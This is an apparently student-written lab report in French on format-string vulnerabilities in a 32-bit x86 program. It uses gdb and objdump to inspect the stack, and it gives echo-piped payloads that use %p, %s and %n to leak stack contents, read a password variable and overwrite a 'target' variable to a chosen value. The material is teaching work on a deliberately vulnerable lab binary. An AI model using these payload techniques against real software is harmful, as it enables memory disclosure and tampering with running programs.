---
title: "Sécurité logicielle : TD6 String, format, vulnérabilité"
date: 2023-03-10
tags: ["Assembleur", "x86"]
categories: ["Sécurité logicielle", "TD"]
---

## Partie 1

### Question 1

Ce programme affiche ue première ligne avec les élements suivants (dans
l'ordre)":

 * `c`
 * `AAAA`
 * `0x00000009`
 * `AAA`

Il affiche encuite la valeur de `value` dans une seconde ligne. Cette valeur a
été écrite par notre premier `fprintf` grace à `%n`. 

### Question 2

Grace au commandes passées à `printf` (fonction `foo()`), nous pouvons remontrer 
dans la pile et ainsi afficher les adresses.

```
%2p
pframe
[...]
0xffffd60c            0x56555500
0xffffd608            0xffffd700
0xffffd604            0xf7fdb8d0
0xffffd600            0xffffd6c8
0xffffd5fc            0xffffd63c
0xffffd5f8            0xf7fc2540
0xffffd5f4            0x0804bff4
0xffffd5f0            0xf63d4e2e
0xffffd5ec            0x08049192
0xffffd5e8            0x080482ac
0xffffd5e4            0xf7c73230 <- '%p'
0xffffd5e0            0xffffd63c
0xffffd5dc         sp 0x080491b4

(gdb) n
Single stepping until exit from function printf,
which has no line number information.
0xf7c73230                       <- on a bien l'affichage de %p
```
C'est exactement la démarche vue en cours pour détourner `printf` de son udsage
de base.

### question 3

Avec les commandes `backtrace` puis `frame 2`, nous avons réussi à trouver
l'adresse de la variable `var`: *0xffffc8a8* (sur notre machine). Ce qui
représente une remontée dans la pile de 22 élements. Il nous a suffit de saisir
`%22$p` pour afficher le contenu comme dans le code ci-dessous

```bash
./build/vulnerable-1_32
%22$p
0xffffc8a8
```
### Question 4

Afin de saisir les 4 entiers , nous avonc créé un fichier de commandes gdb
modifié comme ci-dessous pour automatiser la saisie:

```gdb
b printf
r < <(echo -e '\x31\x32\x33\x34')
```
Il est possible de lancer l'opération avec notre `Makefile` qui se charge de
toutes les opérations :


```bash
make gdb_vulnerable-1_32
```

Nous pouvons maintenant afficher l'adresse de `buf` dans gdb:

```
p &buf
$2 = (char (*)[128]) 0xffffd56c
```

Au moment du prinf `SP` se situe à `0xffffd50c`, on en déduit par soustraction
que notre `buf` se trouve à 96 octets plus bas que nore pointer de pile. en
prenant en compte les adresses 32bits et la *strack frame* conteant le format,
nous injectons `%23$p` pour trouver le contenu voici la commande shell exécutée:

```bash
echo -e '\x31\x32\x33\x34 %23$p' | setarch -R ./build/vulnerable-1_32
1234 0x34333231
```

### Question 5

D'après `objdump`, la variable `passwd` se trouve à l'adresse `0x0804c01c`

Il suffit de faire la commande suivante avec l'adresse que l'on a trouvé

```bash
echo -e '\x1c\xc0\x04\x08  %23$s' | setarch -R ./build/vulnerable-1_32   
secret_password
```

La technique est simple : on injecte dans le buffer l'adresse de la variable
`passwd` découverte au dessus et la "commande" `printf` à utiliser pour afficher
ce qui se trouve à cette adresse.

### question 6

Le fonctionnement est le même que la question 5 : `objdump` + `echo`. 

Il nous suffit d'afficher l'adresse de `target`:

```
objdump -D build/vulnerable-1_32 | grep target                                     
0804c02c <target>:
```

Puis de forrger notre entrée. Afin d'afficher les caractères, il est nécessaire 
d'utiliser `hexdump` sur notre machine:

```
echo -e '\x2c\xc0\x04\x08  %23$s' | setarch -R ./build/vulnerable-1_32 | hexdump -C
00000000  2c c0 04 08 20 20 31 32  33 12 0a                 |,...  123..|
0000000b
```

### Question 7

Une fois que nous avons affiche le contenu de la vatiable `target`, nous allons
pouvois la modifier en changeant son contenu avec le format `%n` :

```bash
echo -e '\x2c\xc0\x04\x08  %23$n' | setarch -R ./build/vulnerable-1_32  


you have modified the target to 0x6!
```

### Question 8

Uen fois la première modification appliquée, il ne reste plus qu'à forger le
paramètre de notre format pour rendre la condition`if (target == 0x00025544)`
vrai.

`0x25544` est égal à 152900, 
```bash
 echo -e '\x2c\xc0\x04\x08  %152894p%23$n' | setarch -R ./build/vulnerable-1_32 
```